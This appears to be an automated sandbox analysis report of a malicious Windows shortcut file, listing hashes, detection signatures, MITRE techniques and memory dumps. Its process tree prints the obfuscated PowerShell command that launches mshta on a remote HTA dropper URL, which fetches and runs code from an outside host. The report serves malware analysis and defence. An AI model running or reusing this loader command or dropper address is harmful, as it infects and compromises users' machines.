e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3

Analysis

max time kernel
142s
max time network
144s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
25/04/2024, 02:08

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General

Target

e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3.lnk
Size

2KB
MD5

82fde340f187a517e0feced1d4972363
SHA1

07740ba4e30a1dbc830451a0d05130ba1af28be9
SHA256

e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3
SHA512

db1630813f3a6e19b9c1bfb6dbaecd3829592230635721df5e2121217bbe2ea2a7594eae7061d5d2ce2baf4bfad5687ce22fa58dba94e8e30b0d7630e872f79c

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://www.sessosesso.it/assets/aw/yt.hta

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
11	5112	mshta.exe
18	5112	mshta.exe
44	5112	mshta.exe
47	5112	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2288054676-1871194608-3559553667-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1864	powershell.exe
1864	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1864	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2272 wrote to memory of 1864	2272	cmd.exe	87
PID 2272 wrote to memory of 1864	2272	cmd.exe	87
PID 1864 wrote to memory of 5112	1864	powershell.exe	88
PID 1864 wrote to memory of 5112	1864	powershell.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\e900f16dc064f78f6d81fda1dc52a17116d4bb578e6ef528e2f04b3e46b434a3.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1864
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://www.sessosesso.it/assets/aw/yt.hta
    3⤵
    - Blocklisted process makes network request
    PID:5112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hy3juc2a.o55.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1864-11-0x000001EB64920000-0x000001EB64942000-memory.dmp

Filesize
136KB

Download
memory/1864-12-0x00007FF9BFE60000-0x00007FF9C0921000-memory.dmp

Filesize
10.8MB

Download
memory/1864-13-0x000001EB649A0000-0x000001EB649B0000-memory.dmp

Filesize
64KB

Download
memory/1864-14-0x000001EB649A0000-0x000001EB649B0000-memory.dmp

Filesize
64KB

Download
memory/1864-17-0x000001EB66A20000-0x000001EB66C3C000-memory.dmp

Filesize
2.1MB

Download
memory/1864-19-0x00007FF9BFE60000-0x00007FF9C0921000-memory.dmp

Filesize
10.8MB

Download